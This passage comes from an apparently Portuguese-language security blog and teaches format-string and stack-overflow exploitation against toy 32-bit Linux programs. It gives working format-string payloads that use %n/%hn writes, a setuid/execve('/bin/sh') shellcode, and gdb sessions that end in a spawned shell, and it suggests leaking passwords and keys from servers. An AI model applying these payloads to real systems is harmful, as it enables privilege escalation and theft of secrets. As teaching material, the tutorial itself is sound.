Agora sabemos que esse código irá exibir qualquer valor que colocarmos no inicio da nossa formated string no lugar de “BAAA” do inicio como:

$ ./vuln_03 "CCCCA[0x%134\$x]"
CCCCA[0x43434343] < ---  CCCC

Com isso nós podemos visualizar um valor posicionado em qualquer endereço de memória acessivel pelo processo atacado; simplesmente substituindo o inicio do format string por um endereço válido como:

$ ./vuln_03 "CCCCA[0x%134\$x]"
CCCCA[0x43434343] < ---  CCCC

Vamos procurar o endereço da variável de ambiente que guarda a string com o home do meu usuário.

$ for i in `seq 1 200`;
    do ./vuln_03 "BAAAA[%$i\$s]" ;
    echo "  $i";
done |  grep "HOME"

BAAAA[HOME=/home/mabj]            76

$ ./vuln_03 "CCCCA[0x%76\$x]"
CCCCA[0xbfffff26] < -- Achamos o endereço da variável de ambiente ! : ]

Agora é só substituir o inicio do parâmetro de formatação passado para printf pelo endereço da variável de ambiente e com isso obtemos a o nosso home.

./vuln_03 $'\x26\xff\xff\xbfA[%76$s]'
&���A[HOME=/home/mabj]

Usando esse mesmo artifício podemos imprimir todas as strings visíveis ao processo. Podemos procurar por informações mais interessantes do que variáveis de ambiente, como senhas e chaves criptográficas. Isso pode ser muito útil quando o programa vulnerável é usado por muitos usuários como um servidor SSH ou um FTP.

Vamos passar para o segundo tempo do jogo. Se lermos o manual da função printf perceberemos que ela possui um caractere coringa passado via parâmetro de formatação que é o “%n”. Essa entrada especifica que o printf deverá armazenar a quantidade de caracteres impressos na tela em uma variável mapeada no endereço passado como parâmetro (no caso da nossa arquitetura 4 bytes).

n	Nothing printed. The argument must be a pointer to a signed int, where the number of
        characters written so far is stored.

Quando aprendi isso pela primeira vez pensei comigo mesmo: “Para diabos que será que inventaram isso se não para malvadeza ?”. E a pergunta permanece. Nunca vi um uso legítimo disso. : ]

Já que o “%n” ainda está na libc … vamos mostrar como podemos fazer uso do mesmo para sobrescrever o ponto de retorno da função vulnerável executando algum shellcode [2] armazenado numa variável de ambiente.

Primeiro, vamos no millworm [3] pegar um shellcode qualquer para executarmos (escolha a gosto). Eu escolhi um setuid(0) + execve (/bin/sh) mostrado no seguinte [link].

Vamos carregar o nosso shellcode em uma variável de ambiente qualquer.

$ export SHELLCODE=$'\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73
                     \x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'

$ env | grep SHELLCODE
SHELLCODE=�1��
              �Rh//shh/bin��RS��

Agora que temos nosso shellcode em uma variável de ambiente vamos procurar o endereço dele dentro do nosso processo usando o GDB (se lembre de desativar a randomização do Address Space, veja como fazer isso em VD01).

(gdb) break *(main)
Breakpoint 1 at 0x80483d7
(gdb) r "A"
Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A"
Breakpoint 1, 0x080483d7 in main ()
Current language:  auto; currently asm
(gdb) x/20x $esp
0xbffff22c:     0xb7e89685      0x00000002      0xbffff5b4 (ARGV)  0xbffff2c0
0xbffff23c:     0xb7fe2b38      0x00000001      0x00000001      0x00000000
0xbffff24c:     0x08048230      0xb7fccff4      0x08048420      0x08048310
0xbffff25c:     0xbffff588      0xd90a6179      0xf7cc9569      0x00000000
0xbffff26c:     0x00000000      0x00000000      0xb7ff6090      0xb7e895ad
(gdb) x/x 0xbffff5b4  < --- Pegando o endereço de ARGV[0]
0xbffff2b4:     0xbffff708
(gdb) x/s (0xbffff708+4)
0xbffff40c:      "e/mabj/Documents/project/writer/format_string/vuln_03"
(gdb)
0xbffff442:      "A"
(gdb)
0xbffff444:      "SSH_AGENT_PID=6224"
(gdb)
0xbffff457:      "KDE_MULTIHEAD=false"
(gdb)
0xbffff46b:   "DM_CONTROL=/var/run/xdmctl"
(gdb)
0xbffff4db:  "SHELLCODE=�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200"
(gdb) x/s (0xbffff4e5)
0xbffff4e5: "�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200" <--- BINGO !

Agora que temos o endereço do nosso shellcode (0xbffff4e5), vamos procurar onde está o ponto de retorno da nossa função vulnerável a print_str e com isso gerar uma string para que possamos sobrescrever esse endereço.

(gdb) disas main
Dump of assembler code for function main:
0x080483d7 :    lea    0x4(%esp),%ecx
0x080483db :    and    $0xfffffff0,%esp
0x080483de :    pushl  -0x4(%ecx)
0x080483e1 :   push   %ebp
0x080483e2 :   mov    %esp,%ebp
0x080483e4 :   push   %ecx
0x080483e5 :   sub    $0x14,%esp
0x080483e8 :   mov    0x4(%ecx),%eax
0x080483eb :   add    $0x4,%eax
0x080483ee :   mov    (%eax),%eax
0x080483f0 :   mov    %eax,(%esp)
0x080483f3 :   call   0x80483c4

0x080483f8 :   add    $0x14,%esp < --- Esse aqui é o endereço guardado no nosso
                          ponto de retorno vamos procurar por ele na pilha
                          assim que entramos na função "print_str"
0x080483fb :   pop    %ecx
0x080483fc :   pop    %ebp
0x080483fd :   lea    -0x4(%ecx),%esp
0x08048400 :   ret
End of assembler dump.
(gdb) break *(print_str)
Breakpoint 1 at 0x80483c4
(gdb) r "A"
Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A"

Breakpoint 1, 0x080483c4 in print_str ()
Current language:  auto; currently asm
(gdb) x/20x
0x0:    Cannot access memory at address 0x0
(gdb) x/20x $esp
0xbffff2ac:     0x080483f8      0xbffff4a0      0x08049ff4      0xbffff2d8
0xbffff2bc:     0x08048439      0xb7ff0f50      0xbffff2e0      0xbffff338
0xbffff2cc:     0xb7e95685      0x08048420      0x08048310      0xbffff338
0xbffff2dc:     0xb7e95685      0x00000002      0xbffff364      0xbffff370
0xbffff2ec:     0xb7fe2b38      0x00000001      0x00000001      0x00000000

(gdb) x/x 0xbffff2ac
0xbffff2ac:     0x080483f8   < --- Achei o endereço do ponto de retorno

Agora já temos o endereço do lugar exato onde iremos sobrescrever com o endereço do nosso shellcode. Agora vamos gerar a nossa format string que explore essa vulnerabilidade. Tudo que temos que fazer é fazer com que o nosso parâmetro de formato inserido tenha como inicio o endereço do ponto de retorno e que a soma dos caracteres impressos na tela seja igual ao endereço do nosso shellcode. A primeira técnica que iremos usar é a que sobrescrevemos byte a byte do nosso endereço de retorno.

Sobrescrevendo byte a byte

Fig. 01 Sobrescrevendo byte a byte

 Lembrar de retirar os espaços em branco. 
(gdb) r $'
        \xac\xf2\xff\xbf   |----> Sobrescrevendo o byte 1
        \xad\xf2\xff\xbf   |----> Sobrescrevendo o byte 2
        \xae\xf2\xff\xbf   |----> Sobrescrevendo o byte 3
        \xaf\xf2\xff\xbf    |----> Sobrescrevendo o byte 4
        %213x%128$n  | ---> 16 + 213 = 229 = 0xE5
        %15x%129$n    | ---> 229 + 15 = 244 = 0xF4 
        %11x%130$n    | ---> 244 + 11 = 255 = 0xFF
        %192x%131$n  | ---> 255 + 192 = 447 = 0x1BF
'

Com isso conseguimos sobrescrever o endereço de retorno da função print_str com o endereço do nosso shellcode com sucesso.

(gdb) r $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n'
Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n'
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$     Voilà ! \O/

Apesar da eficácia da técnica, ela “polui” a memória em 3 bytes e não seria realizada com sucesso em caso do código está sendo executado em sistemas que contenha alguma proteção a pilha baseada em canários, pois a região ao redor do return point é sobrescrita pelos “%n”s.

Vamos agora ver outra técnica que nos permite sobrescrever exatamente os 32 bits do endereço de retorno na função vulnerável. A diferença para a primeira técnica é que usaremos uma variação de “%n” que sobrescreve apenas 16 bits que é o “%hn”.

 Lembrar de retirar os espaços em branco. 
(gdb) r $'
       \xac\xf2\xff\xbf   |---> Sobrescre os primeiros 16 bits de 0xbffff2ac
       \xae\xf2\xff\xbf   |---> Sobrescre os próximos 16 bits de 0xbffff2ae
       %.49143u%130$hn  |--> 8 + 49143 = 49151 = 0xBFFF 
       %.13542u%129$hn'  |--> 49151 + 13542 = 0xF4E5
(gdb) r $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%129$hn' 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%1
29$hn'
0000000000000000000000000000000000000000000000000000000000000000000
...
0000000000000000000000000000000000000000000000000000000000000000000
00000000000000Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$   < ---|  \O/\O/\O/

Com isso sobrescrevemos novamente o ponto de retorno da função print_str, mas dessa vez não sobrescrevemos nenhuma outra região da memória diferente da que queríamos. Sobrescrevemos com o endereço do nosso shellcode sem sobrescrever nenhuma região extra na memória. Note também que o format string ficou bem menor que o primeiro exemplo. \O/

Com isso acabamos o nosso post sobre format string. Aqui foram apresentadas apenas algumas técnicas básicas, cabe ao leitor, agora com os fundamentos do ataque, explorar suas variações. Essa é uma técnica poderoza pois permite modificações cirúrgicas na memória acessível pelo processo, isso torna o ataque tão ou mais perigoso quanto as técnicas de buffer overflow tradicionais. Existem na internet excelentes artigos sobre o assunto como o artigo de Scut da TESO Security [4] ou o Shellcoders Handbook no capítulo 4 [5].

[1] http://www.gnu.org/software/libc/
[2] http://en.wikipedia.org/wiki/Shellcode
[3] http://www.milw0rm.com/
[4] Exploiting format String Vulnerabilities
[5] Shellcoders Handbook – Discovering and Exploiting Security Holes

Categories: Technology Tags: , ,

[VD01] – Stack Overflow

March 14th, 2009 Marcos Álvares 2 comments

Vou iniciar uma série de artigos dedicados às técnicas de desenvolvimento voltadas a exploração de vulnerabilidades. O primeiro post será sobre exploração de falhas de programação na hora de usar a pilha alocada para os processos em execução no Sistema Operacional. A motivação da leitura de mais esse tutorial sobre Stack Overflow é que vou tentar uma abordagem que torne o texto o mais didático possível, projetando e escrevendo em português (diferente de uma tradução). Irei mostrar alguns exemplos reais em arquitetura IA 32 bits rodando no sistema operacional Linux.

Frequentemente escuto pessoas perguntarem qual a melhor forma de se inciar um estudo de técnicas de exploração de aplicações e percebo que a maioria delas tem uma idéia de que estudando tecnologias específicas (C ou Assembly para uma arquitetura específica) é a melhor forma de se trilhar essa linha de pesquisa. Na minha opinião, essa é uma forma errada de iniciar tal estudo. Em nossa área, tecnologias específicas se tornam obsoletas rápido (ver lei de Moore [1]), temos que estudar fundamentos para os problemas tratados.  Além do erro de codificação na aplicação explorada, a maioria das técnicas de vulnerability development se baseiam em explorar a forma como a arquitetura e o sistema operacional alvo do ataque organizam o software em execução na memória principal da máquina.

Uma forma de iniciar o estudo de técnicas de exploração de vulnerabilidades é estudar arquiteturas e organização de computadores. Esse estudo executado de forma genérica e não focado em tecnologias específicas é a melhor forma de construir uma base para um estudo mais frutífero de técnicas de exploração. Um livro muito bom que aborda todos os conceitos necessários é o Computer Architecture a Quantitative Approach de David A. Patterson [2].

Tendo em vista que o leitor já possui uma boa base de arquitetura de computadores, podemos dar inicio a nossa primeira técnica de exploração de software que é o Stack Overflow.

O Stack Overflow é uma sub-categoria da área principal que é a de Buffer Overflow. Um buffer nada mais é do que uma porção de memória solicitada pelo desenvolvedor da aplicação para armazenamento de alguma informação. Todas as varáveis dentro de uma aplicação podem ser chamadas de buffers, já que o compilador por “baixo dos panos”, gera o código responsável por solicitar a reserva de uma quantidade de memória de tamanho igual ao tamanho necessário para o tipo da variável. Quem efetivamente é responsável por organizar e gerenciar esse processo de alocação de memória é o Sistema Operacional através de chamadas de sistemas (No Linux nós temos malloc, mmap e brk). Quando um processo é executado, o sistema operacional reserva um espaço em memória que possui uma organização específica fornecendo condições para que esse possa realizar suas tarefas. Um exemplo de organização da memória reservada para um processo no sistema operacional Linux é a mostrada na Fig 01.

linux_memory_layout

Fig 01: Layout da memória de um processo no Linux

Na primeira região mostrada na figura, é armazenada a entrada do programa fornecida pelo usuário através dos parâmetros da função principal (argc e argv). O código assembly que será executado pelo processador será armazenado na sessão “text” o processador irá executar sequencialmente dessa região de memória para isso fará uso de um registrador auxiliar que indica qual a próxima instrução a ser executada chamado “EIP” (Instruction Pointer, normalmente o objetivo do atacante é controlar esse registrador).

Dependendo do tipo de variável em seu programa (global ou local) e da forma como ela foi alocada (estaticamente ou dinamicamente), esse buffer será posicionado em regiões diferentes na memória. As variáveis locais e argumentos passados para funções são armazenadas na pilha já as alocadas dinamicamente, usando malloc e suas variações, são armazenadas na heap e dados estáticos e globais são armazenados na BSS.

O problema de buffer overflow ocorre quando tentamos inserir mais dados do que o buffer foi projetado para suportar. Existem duas principais categorias de buffers overflows, que são a baseada em ataques na Pilha e a baseada em ataques na Heap. Nesse texto vamos explicar os ataques que visam explorar falhas no uso da pilha de processos.

As vulnerabilidades de Stack Overflow são baseadas em exploração de falhas na alocação e uso de memória em variáveis locais (dentro do contexto de um bloco de código). Quando é executada uma instrução de chamada de procedimento como CALL o contexto de qual instrução será executada no retorno da execução desse bloco de código é armazenado na pilha (isso se chama: ponto de retorno ou return point). Dentro do bloco chamado pode haver uma falha no uso da pilha de tal forma que permita ao atacante sobrescrever a região da pilha em que foi armazenada o valor do ponto de retorno para o procedimento anterior ao vulnerável.

É ai que nós podemos induzir o fluxo de execução do software. Podemos fazer um salto incondicional para qualquer região de memória acessível pelo processo atacado, inclusive para código que nós mesmos injetamos no processo através de parâmetros de entrada ou variáveis de ambiente. É assim que a maior parte dos exploits para explorar vulnerabilidades no uso da pilha funcionam.  Nesse estado, podemos alterar o fluxo do programa para qualquer endereço em memória que seja visível ao processo, inserir um ponto de retorno válido e executar código com os privilégios do programa vulnerável.

Vamos mostrar agora passo a passo como se controla o EIP do programa vulnerável a um stack overflow e com isso podemos redirecionar o fluxo do código para onde desejarmos dentro do espaço de endereçamento do processo. Para isso iremos fazer uso do GDB [3], que pode ser encontrado na maioria das distribuições Linux, como ferramenta de depuração.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int function(char *arg) {
	char buffer[2];
	strcpy(buffer, arg);
}

int main (int argc, char *argv[]) {
	printf("AQUI\n\n");
	function(argv[1]);
	return 0;
}

1> Precisamos  que o programa seja compilado usando a diretiva no-stack-protector para que o GCC não adicione código para prevenir stacks overflows (canários). Precisamos também desabilitar o ASLR – Adress Space Layout Randomization no kernel para que o espaço de endereçamento não seja randomizado toda vez que o processo for iniciado pelo Kernel. Em outra oportunidade falaremos a respeito das proteções existentes hoje em dia (grande parte dessas são “bypassaveis”), para a finalidade de aprender o fundamento da técnica esse ambiente montado é suficiente.

~# echo 0 > /proc/sys/kernel/randomize_va_space
~$ gcc -fno-stack-protector -ggdb -o bug bug.c

2> Execute o programa passando uma parâmetro de entrada aleatorio e note que o processo receberá sinal de falha de segmentação do sistema operacional. Note que o parâmetro de entrada é copiado diretamente para a variável buffer de tamanho 2 bytes e isso causa a falha de segmentação.

mabj@envy:~/tmp$ ./bug AAAAAAAAAAAAAA
AQUI

Segmentation fault (core dumped)

Alocação e uso de recursos na pilha

Fig 02: Alocação e uso de recursos na pilha

3> Vamos agora iniciar o GDB e fazer a engenharia reversa do binário.

mabj@envy:~/tmp$ gdb bug

(gdb) disas main
Dump of assembler code for function main:
0x0804840e :    lea    0x4(%esp),%ecx
0x08048412 :    and    $0xfffffff0,%esp
0x08048415 :    pushl  -0x4(%ecx)
0x08048418 :   push   %ebp
0x08048419 :   mov    %esp,%ebp
0x0804841b :   push   %ebx
0x0804841c :   push   %ecx
0x0804841d :   sub    $0x10,%esp
0x08048420 :   mov    %ecx,%ebx
0x08048422 :   movl   $0x8048510,(%esp)
0x08048429 :   call   0x804832c <puts@plt>
0x0804842e :   mov    0x4(%ebx),%eax
0x08048431 :   add    $0x4,%eax
0x08048434 :   mov    (%eax),%eax
0x08048436 :   mov    %eax,(%esp)
0x08048439 :   call   0x80483f4 <function> <--- Chamada para a função vulnerável
0x0804843e :   mov    $0x0,%eax <-- %EIP(0x0804843e) que será  salvo na pilha
0x08048443 :   add    $0x10,%esp
0x08048446 :   pop    %ecx
0x08048447 :   pop    %ebx
0x08048448 :   pop    %ebp
0x08048449 :   lea    -0x4(%ecx),%esp
0x0804844c :   ret
End of assembler dump.
(gdb) disas function
Dump of assembler code for function function:
0x080483f4 :        push   %ebp
0x080483f5 :        mov    %esp,%ebp
0x080483f7 :        sub    $0x28,%esp
0x080483fa :        mov    0x8(%ebp),%eax
0x080483fd :        mov    %eax,0x4(%esp)
0x08048401 :       lea    -0x2(%ebp),%eax
0x08048404 :       mov    %eax,(%esp)
0x08048407 :       call   0x804831c <strcpy@plt>  < -- Copia o argv para buffer
                                             ^ --- É aqui que o bug se encontra
0x0804840c :       leave
0x0804840d :       ret
End of assembler dump.

4> Temos que achar em qual endereço na pilha foi armazenado o contexto antes de iniciar o fluxo dentro da função vulnerável. Para isso nós sabemos que o valor do eip salvo será de “0×0804843e” que é o endereço da próxima instrução após a chamada para a função vulnerável. É esse endereço que nós deveremos sobrescrever. Vamos colocar um breakpoint logo no inicio da função vulnerável e fazer um dump da pilha em busca do ponto de retorno (eip).

(gdb) b *(function+3)
Breakpoint 2 at 0x80483f7: file teste.c, line 5.
(gdb) r
Starting program: /home/mabj/tmp/bug
AQUI  < ---- Imprimindo a string "AQUI" através do printf no código
Breakpoint 2, 0x080483f7 in function (arg=0x0) at teste.c:5
5       int function(char *arg) {

(gdb) i r $ebp   <--- Achamos EBP que contém o endereço da base da pilha
ebp            0xbfd082a8       0xbfd082a8
(gdb) x/x $ebp
0xbfd082a8:     0xbfd082c8
(gdb) x/x $ebp+4   <--- Achamos o endereço e o conteúdo do ponto de retorno
0xbfd082ac:     0x0804843e
(gdb) x/20x $esp
0xbfd082a8:     [0xbfd082c8]      [0x0804843e]      0x00000000      0x08049ff4
0xbfd082b8:     0xbfd082d8      0x08048479      0xbfd082e0      0xb7ed8ff4
0xbfd082c8:     0xbfd08338      0xb7d95685      0x08048460      0x08048340
0xbfd082d8:     0xbfd08338      0xb7d95685      0x00000001      0xbfd08364
0xbfd082e8:     0xbfd0836c      0xb7eedb38      0x00000001      0x00000001

5> Colocamos um breakpoint após o strcpy e vamos vigiar o endereço de memória do ponto de retorno da função. Com isso descobrimos que é necessário 10 Bytes para poder sobrescrever o ponto de retorno por completo.

(gdb) r AAAAAAAAA   < --- Primeira tentativa
Starting program: /home/mabj/tmp/bug AAAAAAAAA
AQUI
Breakpoint 9, 0x08048407 in function (arg=0xbfc5d7a9 "AAAAAAAAA") at teste.c:7
7               strcpy(buffer, arg);
(gdb) x/x $ebp+4
0xbfc5d1fc:     0x0804843e
(gdb) n
8       }
(gdb) x/x $ebp+4
0xbfc5d1fc: 0x00414141 <--- Ainda há um octeto que não foi sobrescrito "0x00".

(gdb) r AAAAAAAAAA  <--- Precisamos colocar mais um "A" na string de entrada.
Starting program: /home/mabj/tmp/bug AAAAAAAAAA
AQUI
Breakpoint 9, 0x08048407 in function (arg=0xbfc5d7a9 "AAAAAAAAAA") at teste.c:7
7               strcpy(buffer, arg);
(gdb) x/x $ebp+4
0xbfc5d1fc:     0x0804843e
(gdb) n
8       }
(gdb) x/x $ebp+4
0xbfc5d1fc:     0x41414141 < --- Agora foi sobrescrito com sucesso ! \O/.



Execução do código e estado da pilha.

Fig 03:Execução do código e estado da pilha.

6> Sobrescrevemos o ponto de retorno com o endereço do código para impressão da string “AQUI” de modo que o programa imprimirá dois “AQUI”s na tela.

(gdb) r $'AAAAAA\x20\x84\x04\x08' <--- "0x08048422" Endereço do codigo do "AQUI"
Starting program: /home/mabj/tmp/bug $'AAAAAA\x20\x84\x04\x08'
AQUI    < --- Primeira passagem
AQUI    < --- Passagem devido a exploração do Stack Overflow

Program received signal SIGSEGV, Segmentation fault.
0x08048434 in main (argc=1091044483, argv=0x2e414141) at teste.c:12
12              function(argv[1]);

Através desses passos, podemos injetar um endereço para execução de código armazenado em qualquer região do espaço de endereçamento reservado para o processo. O que os “Hackers” fazem é preencher a memória com um código malicioso (Shellcode) através de diversos métodos e direcionar o fluxo do programa para a execução desse código.

Agora que a essência do ataque foi mostrada, o leitor pode colocar seus conhecimentos a prova resolvendo o Capture The Flag da uCon Security Conference [4]. Lá temos seis desafios apenas de Stack Overflow. Estou acabando de escrever outro post sobre Format String que será publicado em breve.

Read more…